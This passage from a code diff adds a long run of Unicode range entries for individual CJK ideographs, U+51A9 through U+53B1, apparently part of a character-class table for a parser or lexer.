+ ["\u51A9", "\u51A9"], /* CJK Ideograph */
+ ["\u51AA", "\u51AA"], /* CJK Ideograph */
+ ["\u51AB", "\u51AB"], /* CJK Ideograph */
+ ["\u51AC", "\u51AC"], /* CJK Ideograph */
+ ["\u51AD", "\u51AD"], /* CJK Ideograph */
+ ["\u51AE", "\u51AE"], /* CJK Ideograph */
+ ["\u51AF", "\u51AF"], /* CJK Ideograph */
+ ["\u51B0", "\u51B0"], /* CJK Ideograph */
+ ["\u51B1", "\u51B1"], /* CJK Ideograph */
+ ["\u51B2", "\u51B2"], /* CJK Ideograph */
+ ["\u51B3", "\u51B3"], /* CJK Ideograph */
+ ["\u51B4", "\u51B4"], /* CJK Ideograph */
+ ["\u51B5", "\u51B5"], /* CJK Ideograph */
+ ["\u51B6", "\u51B6"], /* CJK Ideograph */
+ ["\u51B7", "\u51B7"], /* CJK Ideograph */
+ ["\u51B8", "\u51B8"], /* CJK Ideograph */
+ ["\u51B9", "\u51B9"], /* CJK Ideograph */
+ ["\u51BA", "\u51BA"], /* CJK Ideograph */
+ ["\u51BB", "\u51BB"], /* CJK Ideograph */
+ ["\u51BC", "\u51BC"], /* CJK Ideograph */
+ ["\u51BD", "\u51BD"], /* CJK Ideograph */
+ ["\u51BE", "\u51BE"], /* CJK Ideograph */
+ ["\u51BF", "\u51BF"], /* CJK Ideograph */
+ ["\u51C0", "\u51C0"], /* CJK Ideograph */
+ ["\u51C1", "\u51C1"], /* CJK Ideograph */
+ ["\u51C2", "\u51C2"], /* CJK Ideograph */
+ ["\u51C3", "\u51C3"], /* CJK Ideograph */
+ ["\u51C4", "\u51C4"], /* CJK Ideograph */
+ ["\u51C5", "\u51C5"], /* CJK Ideograph */
+ ["\u51C6", "\u51C6"], /* CJK Ideograph */
+ ["\u51C7", "\u51C7"], /* CJK Ideograph */
+ ["\u51C8", "\u51C8"], /* CJK Ideograph */
+ ["\u51C9", "\u51C9"], /* CJK Ideograph */
+ ["\u51CA", "\u51CA"], /* CJK Ideograph */
+ ["\u51CB", "\u51CB"], /* CJK Ideograph */
+ ["\u51CC", "\u51CC"], /* CJK Ideograph */
+ ["\u51CD", "\u51CD"], /* CJK Ideograph */
+ ["\u51CE", "\u51CE"], /* CJK Ideograph */
+ ["\u51CF", "\u51CF"], /* CJK Ideograph */
+ ["\u51D0", "\u51D0"], /* CJK Ideograph */
+ ["\u51D1", "\u51D1"], /* CJK Ideograph */
+ ["\u51D2", "\u51D2"], /* CJK Ideograph */
+ ["\u51D3", "\u51D3"], /* CJK Ideograph */
+ ["\u51D4", "\u51D4"], /* CJK Ideograph */
+ ["\u51D5", "\u51D5"], /* CJK Ideograph */
+ ["\u51D6", "\u51D6"], /* CJK Ideograph */
+ ["\u51D7", "\u51D7"], /* CJK Ideograph */
+ ["\u51D8", "\u51D8"], /* CJK Ideograph */
+ ["\u51D9", "\u51D9"], /* CJK Ideograph */
+ ["\u51DA", "\u51DA"], /* CJK Ideograph */
+ ["\u51DB", "\u51DB"], /* CJK Ideograph */
+ ["\u51DC", "\u51DC"], /* CJK Ideograph */
+ ["\u51DD", "\u51DD"], /* CJK Ideograph */
+ ["\u51DE", "\u51DE"], /* CJK Ideograph */
+ ["\u51DF", "\u51DF"], /* CJK Ideograph */
+ ["\u51E0", "\u51E0"], /* CJK Ideograph */
+ ["\u51E1", "\u51E1"], /* CJK Ideograph */
+ ["\u51E2", "\u51E2"], /* CJK Ideograph */
+ ["\u51E3", "\u51E3"], /* CJK Ideograph */
+ ["\u51E4", "\u51E4"], /* CJK Ideograph */
+ ["\u51E5", "\u51E5"], /* CJK Ideograph */
+ ["\u51E6", "\u51E6"], /* CJK Ideograph */
+ ["\u51E7", "\u51E7"], /* CJK Ideograph */
+ ["\u51E8", "\u51E8"], /* CJK Ideograph */
+ ["\u51E9", "\u51E9"], /* CJK Ideograph */
+ ["\u51EA", "\u51EA"], /* CJK Ideograph */
+ ["\u51EB", "\u51EB"], /* CJK Ideograph */
+ ["\u51EC", "\u51EC"], /* CJK Ideograph */
+ ["\u51ED", "\u51ED"], /* CJK Ideograph */
+ ["\u51EE", "\u51EE"], /* CJK Ideograph */
+ ["\u51EF", "\u51EF"], /* CJK Ideograph */
+ ["\u51F0", "\u51F0"], /* CJK Ideograph */
+ ["\u51F1", "\u51F1"], /* CJK Ideograph */
+ ["\u51F2", "\u51F2"], /* CJK Ideograph */
+ ["\u51F3", "\u51F3"], /* CJK Ideograph */
+ ["\u51F4", "\u51F4"], /* CJK Ideograph */
+ ["\u51F5", "\u51F5"], /* CJK Ideograph */
+ ["\u51F6", "\u51F6"], /* CJK Ideograph */
+ ["\u51F7", "\u51F7"], /* CJK Ideograph */
+ ["\u51F8", "\u51F8"], /* CJK Ideograph */
+ ["\u51F9", "\u51F9"], /* CJK Ideograph */
+ ["\u51FA", "\u51FA"], /* CJK Ideograph */
+ ["\u51FB", "\u51FB"], /* CJK Ideograph */
+ ["\u51FC", "\u51FC"], /* CJK Ideograph */
+ ["\u51FD", "\u51FD"], /* CJK Ideograph */
+ ["\u51FE", "\u51FE"], /* CJK Ideograph */
+ ["\u51FF", "\u51FF"], /* CJK Ideograph */
+ ["\u5200", "\u5200"], /* CJK Ideograph */
+ ["\u5201", "\u5201"], /* CJK Ideograph */
+ ["\u5202", "\u5202"], /* CJK Ideograph */
+ ["\u5203", "\u5203"], /* CJK Ideograph */
+ ["\u5204", "\u5204"], /* CJK Ideograph */
+ ["\u5205", "\u5205"], /* CJK Ideograph */
+ ["\u5206", "\u5206"], /* CJK Ideograph */
+ ["\u5207", "\u5207"], /* CJK Ideograph */
+ ["\u5208", "\u5208"], /* CJK Ideograph */
+ ["\u5209", "\u5209"], /* CJK Ideograph */
+ ["\u520A", "\u520A"], /* CJK Ideograph */
+ ["\u520B", "\u520B"], /* CJK Ideograph */
+ ["\u520C", "\u520C"], /* CJK Ideograph */
+ ["\u520D", "\u520D"], /* CJK Ideograph */
+ ["\u520E", "\u520E"], /* CJK Ideograph */
+ ["\u520F", "\u520F"], /* CJK Ideograph */
+ ["\u5210", "\u5210"], /* CJK Ideograph */
+ ["\u5211", "\u5211"], /* CJK Ideograph */
+ ["\u5212", "\u5212"], /* CJK Ideograph */
+ ["\u5213", "\u5213"], /* CJK Ideograph */
+ ["\u5214", "\u5214"], /* CJK Ideograph */
+ ["\u5215", "\u5215"], /* CJK Ideograph */
+ ["\u5216", "\u5216"], /* CJK Ideograph */
+ ["\u5217", "\u5217"], /* CJK Ideograph */
+ ["\u5218", "\u5218"], /* CJK Ideograph */
+ ["\u5219", "\u5219"], /* CJK Ideograph */
+ ["\u521A", "\u521A"], /* CJK Ideograph */
+ ["\u521B", "\u521B"], /* CJK Ideograph */
+ ["\u521C", "\u521C"], /* CJK Ideograph */
+ ["\u521D", "\u521D"], /* CJK Ideograph */
+ ["\u521E", "\u521E"], /* CJK Ideograph */
+ ["\u521F", "\u521F"], /* CJK Ideograph */
+ ["\u5220", "\u5220"], /* CJK Ideograph */
+ ["\u5221", "\u5221"], /* CJK Ideograph */
+ ["\u5222", "\u5222"], /* CJK Ideograph */
+ ["\u5223", "\u5223"], /* CJK Ideograph */
+ ["\u5224", "\u5224"], /* CJK Ideograph */
+ ["\u5225", "\u5225"], /* CJK Ideograph */
+ ["\u5226", "\u5226"], /* CJK Ideograph */
+ ["\u5227", "\u5227"], /* CJK Ideograph */
+ ["\u5228", "\u5228"], /* CJK Ideograph */
+ ["\u5229", "\u5229"], /* CJK Ideograph */
+ ["\u522A", "\u522A"], /* CJK Ideograph */
+ ["\u522B", "\u522B"], /* CJK Ideograph */
+ ["\u522C", "\u522C"], /* CJK Ideograph */
+ ["\u522D", "\u522D"], /* CJK Ideograph */
+ ["\u522E", "\u522E"], /* CJK Ideograph */
+ ["\u522F", "\u522F"], /* CJK Ideograph */
+ ["\u5230", "\u5230"], /* CJK Ideograph */
+ ["\u5231", "\u5231"], /* CJK Ideograph */
+ ["\u5232", "\u5232"], /* CJK Ideograph */
+ ["\u5233", "\u5233"], /* CJK Ideograph */
+ ["\u5234", "\u5234"], /* CJK Ideograph */
+ ["\u5235", "\u5235"], /* CJK Ideograph */
+ ["\u5236", "\u5236"], /* CJK Ideograph */
+ ["\u5237", "\u5237"], /* CJK Ideograph */
+ ["\u5238", "\u5238"], /* CJK Ideograph */
+ ["\u5239", "\u5239"], /* CJK Ideograph */
+ ["\u523A", "\u523A"], /* CJK Ideograph */
+ ["\u523B", "\u523B"], /* CJK Ideograph */
+ ["\u523C", "\u523C"], /* CJK Ideograph */
+ ["\u523D", "\u523D"], /* CJK Ideograph */
+ ["\u523E", "\u523E"], /* CJK Ideograph */
+ ["\u523F", "\u523F"], /* CJK Ideograph */
+ ["\u5240", "\u5240"], /* CJK Ideograph */
+ ["\u5241", "\u5241"], /* CJK Ideograph */
+ ["\u5242", "\u5242"], /* CJK Ideograph */
+ ["\u5243", "\u5243"], /* CJK Ideograph */
+ ["\u5244", "\u5244"], /* CJK Ideograph */
+ ["\u5245", "\u5245"], /* CJK Ideograph */
+ ["\u5246", "\u5246"], /* CJK Ideograph */
+ ["\u5247", "\u5247"], /* CJK Ideograph */
+ ["\u5248", "\u5248"], /* CJK Ideograph */
+ ["\u5249", "\u5249"], /* CJK Ideograph */
+ ["\u524A", "\u524A"], /* CJK Ideograph */
+ ["\u524B", "\u524B"], /* CJK Ideograph */
+ ["\u524C", "\u524C"], /* CJK Ideograph */
+ ["\u524D", "\u524D"], /* CJK Ideograph */
+ ["\u524E", "\u524E"], /* CJK Ideograph */
+ ["\u524F", "\u524F"], /* CJK Ideograph */
+ ["\u5250", "\u5250"], /* CJK Ideograph */
+ ["\u5251", "\u5251"], /* CJK Ideograph */
+ ["\u5252", "\u5252"], /* CJK Ideograph */
+ ["\u5253", "\u5253"], /* CJK Ideograph */
+ ["\u5254", "\u5254"], /* CJK Ideograph */
+ ["\u5255", "\u5255"], /* CJK Ideograph */
+ ["\u5256", "\u5256"], /* CJK Ideograph */
+ ["\u5257", "\u5257"], /* CJK Ideograph */
+ ["\u5258", "\u5258"], /* CJK Ideograph */
+ ["\u5259", "\u5259"], /* CJK Ideograph */
+ ["\u525A", "\u525A"], /* CJK Ideograph */
+ ["\u525B", "\u525B"], /* CJK Ideograph */
+ ["\u525C", "\u525C"], /* CJK Ideograph */
+ ["\u525D", "\u525D"], /* CJK Ideograph */
+ ["\u525E", "\u525E"], /* CJK Ideograph */
+ ["\u525F", "\u525F"], /* CJK Ideograph */
+ ["\u5260", "\u5260"], /* CJK Ideograph */
+ ["\u5261", "\u5261"], /* CJK Ideograph */
+ ["\u5262", "\u5262"], /* CJK Ideograph */
+ ["\u5263", "\u5263"], /* CJK Ideograph */
+ ["\u5264", "\u5264"], /* CJK Ideograph */
+ ["\u5265", "\u5265"], /* CJK Ideograph */
+ ["\u5266", "\u5266"], /* CJK Ideograph */
+ ["\u5267", "\u5267"], /* CJK Ideograph */
+ ["\u5268", "\u5268"], /* CJK Ideograph */
+ ["\u5269", "\u5269"], /* CJK Ideograph */
+ ["\u526A", "\u526A"], /* CJK Ideograph */
+ ["\u526B", "\u526B"], /* CJK Ideograph */
+ ["\u526C", "\u526C"], /* CJK Ideograph */
+ ["\u526D", "\u526D"], /* CJK Ideograph */
+ ["\u526E", "\u526E"], /* CJK Ideograph */
+ ["\u526F", "\u526F"], /* CJK Ideograph */
+ ["\u5270", "\u5270"], /* CJK Ideograph */
+ ["\u5271", "\u5271"], /* CJK Ideograph */
+ ["\u5272", "\u5272"], /* CJK Ideograph */
+ ["\u5273", "\u5273"], /* CJK Ideograph */
+ ["\u5274", "\u5274"], /* CJK Ideograph */
+ ["\u5275", "\u5275"], /* CJK Ideograph */
+ ["\u5276", "\u5276"], /* CJK Ideograph */
+ ["\u5277", "\u5277"], /* CJK Ideograph */
+ ["\u5278", "\u5278"], /* CJK Ideograph */
+ ["\u5279", "\u5279"], /* CJK Ideograph */
+ ["\u527A", "\u527A"], /* CJK Ideograph */
+ ["\u527B", "\u527B"], /* CJK Ideograph */
+ ["\u527C", "\u527C"], /* CJK Ideograph */
+ ["\u527D", "\u527D"], /* CJK Ideograph */
+ ["\u527E", "\u527E"], /* CJK Ideograph */
+ ["\u527F", "\u527F"], /* CJK Ideograph */
+ ["\u5280", "\u5280"], /* CJK Ideograph */
+ ["\u5281", "\u5281"], /* CJK Ideograph */
+ ["\u5282", "\u5282"], /* CJK Ideograph */
+ ["\u5283", "\u5283"], /* CJK Ideograph */
+ ["\u5284", "\u5284"], /* CJK Ideograph */
+ ["\u5285", "\u5285"], /* CJK Ideograph */
+ ["\u5286", "\u5286"], /* CJK Ideograph */
+ ["\u5287", "\u5287"], /* CJK Ideograph */
+ ["\u5288", "\u5288"], /* CJK Ideograph */
+ ["\u5289", "\u5289"], /* CJK Ideograph */
+ ["\u528A", "\u528A"], /* CJK Ideograph */
+ ["\u528B", "\u528B"], /* CJK Ideograph */
+ ["\u528C", "\u528C"], /* CJK Ideograph */
+ ["\u528D", "\u528D"], /* CJK Ideograph */
+ ["\u528E", "\u528E"], /* CJK Ideograph */
+ ["\u528F", "\u528F"], /* CJK Ideograph */
+ ["\u5290", "\u5290"], /* CJK Ideograph */
+ ["\u5291", "\u5291"], /* CJK Ideograph */
+ ["\u5292", "\u5292"], /* CJK Ideograph */
+ ["\u5293", "\u5293"], /* CJK Ideograph */
+ ["\u5294", "\u5294"], /* CJK Ideograph */
+ ["\u5295", "\u5295"], /* CJK Ideograph */
+ ["\u5296", "\u5296"], /* CJK Ideograph */
+ ["\u5297", "\u5297"], /* CJK Ideograph */
+ ["\u5298", "\u5298"], /* CJK Ideograph */
+ ["\u5299", "\u5299"], /* CJK Ideograph */
+ ["\u529A", "\u529A"], /* CJK Ideograph */
+ ["\u529B", "\u529B"], /* CJK Ideograph */
+ ["\u529C", "\u529C"], /* CJK Ideograph */
+ ["\u529D", "\u529D"], /* CJK Ideograph */
+ ["\u529E", "\u529E"], /* CJK Ideograph */
+ ["\u529F", "\u529F"], /* CJK Ideograph */
+ ["\u52A0", "\u52A0"], /* CJK Ideograph */
+ ["\u52A1", "\u52A1"], /* CJK Ideograph */
+ ["\u52A2", "\u52A2"], /* CJK Ideograph */
+ ["\u52A3", "\u52A3"], /* CJK Ideograph */
+ ["\u52A4", "\u52A4"], /* CJK Ideograph */
+ ["\u52A5", "\u52A5"], /* CJK Ideograph */
+ ["\u52A6", "\u52A6"], /* CJK Ideograph */
+ ["\u52A7", "\u52A7"], /* CJK Ideograph */
+ ["\u52A8", "\u52A8"], /* CJK Ideograph */
+ ["\u52A9", "\u52A9"], /* CJK Ideograph */
+ ["\u52AA", "\u52AA"], /* CJK Ideograph */
+ ["\u52AB", "\u52AB"], /* CJK Ideograph */
+ ["\u52AC", "\u52AC"], /* CJK Ideograph */
+ ["\u52AD", "\u52AD"], /* CJK Ideograph */
+ ["\u52AE", "\u52AE"], /* CJK Ideograph */
+ ["\u52AF", "\u52AF"], /* CJK Ideograph */
+ ["\u52B0", "\u52B0"], /* CJK Ideograph */
+ ["\u52B1", "\u52B1"], /* CJK Ideograph */
+ ["\u52B2", "\u52B2"], /* CJK Ideograph */
+ ["\u52B3", "\u52B3"], /* CJK Ideograph */
+ ["\u52B4", "\u52B4"], /* CJK Ideograph */
+ ["\u52B5", "\u52B5"], /* CJK Ideograph */
+ ["\u52B6", "\u52B6"], /* CJK Ideograph */
+ ["\u52B7", "\u52B7"], /* CJK Ideograph */
+ ["\u52B8", "\u52B8"], /* CJK Ideograph */
+ ["\u52B9", "\u52B9"], /* CJK Ideograph */
+ ["\u52BA", "\u52BA"], /* CJK Ideograph */
+ ["\u52BB", "\u52BB"], /* CJK Ideograph */
+ ["\u52BC", "\u52BC"], /* CJK Ideograph */
+ ["\u52BD", "\u52BD"], /* CJK Ideograph */
+ ["\u52BE", "\u52BE"], /* CJK Ideograph */
+ ["\u52BF", "\u52BF"], /* CJK Ideograph */
+ ["\u52C0", "\u52C0"], /* CJK Ideograph */
+ ["\u52C1", "\u52C1"], /* CJK Ideograph */
+ ["\u52C2", "\u52C2"], /* CJK Ideograph */
+ ["\u52C3", "\u52C3"], /* CJK Ideograph */
+ ["\u52C4", "\u52C4"], /* CJK Ideograph */
+ ["\u52C5", "\u52C5"], /* CJK Ideograph */
+ ["\u52C6", "\u52C6"], /* CJK Ideograph */
+ ["\u52C7", "\u52C7"], /* CJK Ideograph */
+ ["\u52C8", "\u52C8"], /* CJK Ideograph */
+ ["\u52C9", "\u52C9"], /* CJK Ideograph */
+ ["\u52CA", "\u52CA"], /* CJK Ideograph */
+ ["\u52CB", "\u52CB"], /* CJK Ideograph */
+ ["\u52CC", "\u52CC"], /* CJK Ideograph */
+ ["\u52CD", "\u52CD"], /* CJK Ideograph */
+ ["\u52CE", "\u52CE"], /* CJK Ideograph */
+ ["\u52CF", "\u52CF"], /* CJK Ideograph */
+ ["\u52D0", "\u52D0"], /* CJK Ideograph */
+ ["\u52D1", "\u52D1"], /* CJK Ideograph */
+ ["\u52D2", "\u52D2"], /* CJK Ideograph */
+ ["\u52D3", "\u52D3"], /* CJK Ideograph */
+ ["\u52D4", "\u52D4"], /* CJK Ideograph */
+ ["\u52D5", "\u52D5"], /* CJK Ideograph */
+ ["\u52D6", "\u52D6"], /* CJK Ideograph */
+ ["\u52D7", "\u52D7"], /* CJK Ideograph */
+ ["\u52D8", "\u52D8"], /* CJK Ideograph */
+ ["\u52D9", "\u52D9"], /* CJK Ideograph */
+ ["\u52DA", "\u52DA"], /* CJK Ideograph */
+ ["\u52DB", "\u52DB"], /* CJK Ideograph */
+ ["\u52DC", "\u52DC"], /* CJK Ideograph */
+ ["\u52DD", "\u52DD"], /* CJK Ideograph */
+ ["\u52DE", "\u52DE"], /* CJK Ideograph */
+ ["\u52DF", "\u52DF"], /* CJK Ideograph */
+ ["\u52E0", "\u52E0"], /* CJK Ideograph */
+ ["\u52E1", "\u52E1"], /* CJK Ideograph */
+ ["\u52E2", "\u52E2"], /* CJK Ideograph */
+ ["\u52E3", "\u52E3"], /* CJK Ideograph */
+ ["\u52E4", "\u52E4"], /* CJK Ideograph */
+ ["\u52E5", "\u52E5"], /* CJK Ideograph */
+ ["\u52E6", "\u52E6"], /* CJK Ideograph */
+ ["\u52E7", "\u52E7"], /* CJK Ideograph */
+ ["\u52E8", "\u52E8"], /* CJK Ideograph */
+ ["\u52E9", "\u52E9"], /* CJK Ideograph */
+ ["\u52EA", "\u52EA"], /* CJK Ideograph */
+ ["\u52EB", "\u52EB"], /* CJK Ideograph */
+ ["\u52EC", "\u52EC"], /* CJK Ideograph */
+ ["\u52ED", "\u52ED"], /* CJK Ideograph */
+ ["\u52EE", "\u52EE"], /* CJK Ideograph */
+ ["\u52EF", "\u52EF"], /* CJK Ideograph */
+ ["\u52F0", "\u52F0"], /* CJK Ideograph */
+ ["\u52F1", "\u52F1"], /* CJK Ideograph */
+ ["\u52F2", "\u52F2"], /* CJK Ideograph */
+ ["\u52F3", "\u52F3"], /* CJK Ideograph */
+ ["\u52F4", "\u52F4"], /* CJK Ideograph */
+ ["\u52F5", "\u52F5"], /* CJK Ideograph */
+ ["\u52F6", "\u52F6"], /* CJK Ideograph */
+ ["\u52F7", "\u52F7"], /* CJK Ideograph */
+ ["\u52F8", "\u52F8"], /* CJK Ideograph */
+ ["\u52F9", "\u52F9"], /* CJK Ideograph */
+ ["\u52FA", "\u52FA"], /* CJK Ideograph */
+ ["\u52FB", "\u52FB"], /* CJK Ideograph */
+ ["\u52FC", "\u52FC"], /* CJK Ideograph */
+ ["\u52FD", "\u52FD"], /* CJK Ideograph */
+ ["\u52FE", "\u52FE"], /* CJK Ideograph */
+ ["\u52FF", "\u52FF"], /* CJK Ideograph */
+ ["\u5300", "\u5300"], /* CJK Ideograph */
+ ["\u5301", "\u5301"], /* CJK Ideograph */
+ ["\u5302", "\u5302"], /* CJK Ideograph */
+ ["\u5303", "\u5303"], /* CJK Ideograph */
+ ["\u5304", "\u5304"], /* CJK Ideograph */
+ ["\u5305", "\u5305"], /* CJK Ideograph */
+ ["\u5306", "\u5306"], /* CJK Ideograph */
+ ["\u5307", "\u5307"], /* CJK Ideograph */
+ ["\u5308", "\u5308"], /* CJK Ideograph */
+ ["\u5309", "\u5309"], /* CJK Ideograph */
+ ["\u530A", "\u530A"], /* CJK Ideograph */
+ ["\u530B", "\u530B"], /* CJK Ideograph */
+ ["\u530C", "\u530C"], /* CJK Ideograph */
+ ["\u530D", "\u530D"], /* CJK Ideograph */
+ ["\u530E", "\u530E"], /* CJK Ideograph */
+ ["\u530F", "\u530F"], /* CJK Ideograph */
+ ["\u5310", "\u5310"], /* CJK Ideograph */
+ ["\u5311", "\u5311"], /* CJK Ideograph */
+ ["\u5312", "\u5312"], /* CJK Ideograph */
+ ["\u5313", "\u5313"], /* CJK Ideograph */
+ ["\u5314", "\u5314"], /* CJK Ideograph */
+ ["\u5315", "\u5315"], /* CJK Ideograph */
+ ["\u5316", "\u5316"], /* CJK Ideograph */
+ ["\u5317", "\u5317"], /* CJK Ideograph */
+ ["\u5318", "\u5318"], /* CJK Ideograph */
+ ["\u5319", "\u5319"], /* CJK Ideograph */
+ ["\u531A", "\u531A"], /* CJK Ideograph */
+ ["\u531B", "\u531B"], /* CJK Ideograph */
+ ["\u531C", "\u531C"], /* CJK Ideograph */
+ ["\u531D", "\u531D"], /* CJK Ideograph */
+ ["\u531E", "\u531E"], /* CJK Ideograph */
+ ["\u531F", "\u531F"], /* CJK Ideograph */
+ ["\u5320", "\u5320"], /* CJK Ideograph */
+ ["\u5321", "\u5321"], /* CJK Ideograph */
+ ["\u5322", "\u5322"], /* CJK Ideograph */
+ ["\u5323", "\u5323"], /* CJK Ideograph */
+ ["\u5324", "\u5324"], /* CJK Ideograph */
+ ["\u5325", "\u5325"], /* CJK Ideograph */
+ ["\u5326", "\u5326"], /* CJK Ideograph */
+ ["\u5327", "\u5327"], /* CJK Ideograph */
+ ["\u5328", "\u5328"], /* CJK Ideograph */
+ ["\u5329", "\u5329"], /* CJK Ideograph */
+ ["\u532A", "\u532A"], /* CJK Ideograph */
+ ["\u532B", "\u532B"], /* CJK Ideograph */
+ ["\u532C", "\u532C"], /* CJK Ideograph */
+ ["\u532D", "\u532D"], /* CJK Ideograph */
+ ["\u532E", "\u532E"], /* CJK Ideograph */
+ ["\u532F", "\u532F"], /* CJK Ideograph */
+ ["\u5330", "\u5330"], /* CJK Ideograph */
+ ["\u5331", "\u5331"], /* CJK Ideograph */
+ ["\u5332", "\u5332"], /* CJK Ideograph */
+ ["\u5333", "\u5333"], /* CJK Ideograph */
+ ["\u5334", "\u5334"], /* CJK Ideograph */
+ ["\u5335", "\u5335"], /* CJK Ideograph */
+ ["\u5336", "\u5336"], /* CJK Ideograph */
+ ["\u5337", "\u5337"], /* CJK Ideograph */
+ ["\u5338", "\u5338"], /* CJK Ideograph */
+ ["\u5339", "\u5339"], /* CJK Ideograph */
+ ["\u533A", "\u533A"], /* CJK Ideograph */
+ ["\u533B", "\u533B"], /* CJK Ideograph */
+ ["\u533C", "\u533C"], /* CJK Ideograph */
+ ["\u533D", "\u533D"], /* CJK Ideograph */
+ ["\u533E", "\u533E"], /* CJK Ideograph */
+ ["\u533F", "\u533F"], /* CJK Ideograph */
+ ["\u5340", "\u5340"], /* CJK Ideograph */
+ ["\u5341", "\u5341"], /* CJK Ideograph */
+ ["\u5342", "\u5342"], /* CJK Ideograph */
+ ["\u5343", "\u5343"], /* CJK Ideograph */
+ ["\u5344", "\u5344"], /* CJK Ideograph */
+ ["\u5345", "\u5345"], /* CJK Ideograph */
+ ["\u5346", "\u5346"], /* CJK Ideograph */
+ ["\u5347", "\u5347"], /* CJK Ideograph */
+ ["\u5348", "\u5348"], /* CJK Ideograph */
+ ["\u5349", "\u5349"], /* CJK Ideograph */
+ ["\u534A", "\u534A"], /* CJK Ideograph */
+ ["\u534B", "\u534B"], /* CJK Ideograph */
+ ["\u534C", "\u534C"], /* CJK Ideograph */
+ ["\u534D", "\u534D"], /* CJK Ideograph */
+ ["\u534E", "\u534E"], /* CJK Ideograph */
+ ["\u534F", "\u534F"], /* CJK Ideograph */
+ ["\u5350", "\u5350"], /* CJK Ideograph */
+ ["\u5351", "\u5351"], /* CJK Ideograph */
+ ["\u5352", "\u5352"], /* CJK Ideograph */
+ ["\u5353", "\u5353"], /* CJK Ideograph */
+ ["\u5354", "\u5354"], /* CJK Ideograph */
+ ["\u5355", "\u5355"], /* CJK Ideograph */
+ ["\u5356", "\u5356"], /* CJK Ideograph */
+ ["\u5357", "\u5357"], /* CJK Ideograph */
+ ["\u5358", "\u5358"], /* CJK Ideograph */
+ ["\u5359", "\u5359"], /* CJK Ideograph */
+ ["\u535A", "\u535A"], /* CJK Ideograph */
+ ["\u535B", "\u535B"], /* CJK Ideograph */
+ ["\u535C", "\u535C"], /* CJK Ideograph */
+ ["\u535D", "\u535D"], /* CJK Ideograph */
+ ["\u535E", "\u535E"], /* CJK Ideograph */
+ ["\u535F", "\u535F"], /* CJK Ideograph */
+ ["\u5360", "\u5360"], /* CJK Ideograph */
+ ["\u5361", "\u5361"], /* CJK Ideograph */
+ ["\u5362", "\u5362"], /* CJK Ideograph */
+ ["\u5363", "\u5363"], /* CJK Ideograph */
+ ["\u5364", "\u5364"], /* CJK Ideograph */
+ ["\u5365", "\u5365"], /* CJK Ideograph */
+ ["\u5366", "\u5366"], /* CJK Ideograph */
+ ["\u5367", "\u5367"], /* CJK Ideograph */
+ ["\u5368", "\u5368"], /* CJK Ideograph */
+ ["\u5369", "\u5369"], /* CJK Ideograph */
+ ["\u536A", "\u536A"], /* CJK Ideograph */
+ ["\u536B", "\u536B"], /* CJK Ideograph */
+ ["\u536C", "\u536C"], /* CJK Ideograph */
+ ["\u536D", "\u536D"], /* CJK Ideograph */
+ ["\u536E", "\u536E"], /* CJK Ideograph */
+ ["\u536F", "\u536F"], /* CJK Ideograph */
+ ["\u5370", "\u5370"], /* CJK Ideograph */
+ ["\u5371", "\u5371"], /* CJK Ideograph */
+ ["\u5372", "\u5372"], /* CJK Ideograph */
+ ["\u5373", "\u5373"], /* CJK Ideograph */
+ ["\u5374", "\u5374"], /* CJK Ideograph */
+ ["\u5375", "\u5375"], /* CJK Ideograph */
+ ["\u5376", "\u5376"], /* CJK Ideograph */
+ ["\u5377", "\u5377"], /* CJK Ideograph */
+ ["\u5378", "\u5378"], /* CJK Ideograph */
+ ["\u5379", "\u5379"], /* CJK Ideograph */
+ ["\u537A", "\u537A"], /* CJK Ideograph */
+ ["\u537B", "\u537B"], /* CJK Ideograph */
+ ["\u537C", "\u537C"], /* CJK Ideograph */
+ ["\u537D", "\u537D"], /* CJK Ideograph */
+ ["\u537E", "\u537E"], /* CJK Ideograph */
+ ["\u537F", "\u537F"], /* CJK Ideograph */
+ ["\u5380", "\u5380"], /* CJK Ideograph */
+ ["\u5381", "\u5381"], /* CJK Ideograph */
+ ["\u5382", "\u5382"], /* CJK Ideograph */
+ ["\u5383", "\u5383"], /* CJK Ideograph */
+ ["\u5384", "\u5384"], /* CJK Ideograph */
+ ["\u5385", "\u5385"], /* CJK Ideograph */
+ ["\u5386", "\u5386"], /* CJK Ideograph */
+ ["\u5387", "\u5387"], /* CJK Ideograph */
+ ["\u5388", "\u5388"], /* CJK Ideograph */
+ ["\u5389", "\u5389"], /* CJK Ideograph */
+ ["\u538A", "\u538A"], /* CJK Ideograph */
+ ["\u538B", "\u538B"], /* CJK Ideograph */
+ ["\u538C", "\u538C"], /* CJK Ideograph */
+ ["\u538D", "\u538D"], /* CJK Ideograph */
+ ["\u538E", "\u538E"], /* CJK Ideograph */
+ ["\u538F", "\u538F"], /* CJK Ideograph */
+ ["\u5390", "\u5390"], /* CJK Ideograph */
+ ["\u5391", "\u5391"], /* CJK Ideograph */
+ ["\u5392", "\u5392"], /* CJK Ideograph */
+ ["\u5393", "\u5393"], /* CJK Ideograph */
+ ["\u5394", "\u5394"], /* CJK Ideograph */
+ ["\u5395", "\u5395"], /* CJK Ideograph */
+ ["\u5396", "\u5396"], /* CJK Ideograph */
+ ["\u5397", "\u5397"], /* CJK Ideograph */
+ ["\u5398", "\u5398"], /* CJK Ideograph */
+ ["\u5399", "\u5399"], /* CJK Ideograph */
+ ["\u539A", "\u539A"], /* CJK Ideograph */
+ ["\u539B", "\u539B"], /* CJK Ideograph */
+ ["\u539C", "\u539C"], /* CJK Ideograph */
+ ["\u539D", "\u539D"], /* CJK Ideograph */
+ ["\u539E", "\u539E"], /* CJK Ideograph */
+ ["\u539F", "\u539F"], /* CJK Ideograph */
+ ["\u53A0", "\u53A0"], /* CJK Ideograph */
+ ["\u53A1", "\u53A1"], /* CJK Ideograph */
+ ["\u53A2", "\u53A2"], /* CJK Ideograph */
+ ["\u53A3", "\u53A3"], /* CJK Ideograph */
+ ["\u53A4", "\u53A4"], /* CJK Ideograph */
+ ["\u53A5", "\u53A5"], /* CJK Ideograph */
+ ["\u53A6", "\u53A6"], /* CJK Ideograph */
+ ["\u53A7", "\u53A7"], /* CJK Ideograph */
+ ["\u53A8", "\u53A8"], /* CJK Ideograph */
+ ["\u53A9", "\u53A9"], /* CJK Ideograph */
+ ["\u53AA", "\u53AA"], /* CJK Ideograph */
+ ["\u53AB", "\u53AB"], /* CJK Ideograph */
+ ["\u53AC", "\u53AC"], /* CJK Ideograph */
+ ["\u53AD", "\u53AD"], /* CJK Ideograph */
+ ["\u53AE", "\u53AE"], /* CJK Ideograph */
+ ["\u53AF", "\u53AF"], /* CJK Ideograph */
+ ["\u53B0", "\u53B0"], /* CJK Ideograph */
+ ["\u53B1", "\u53B1"], /* CJK Ideograph */
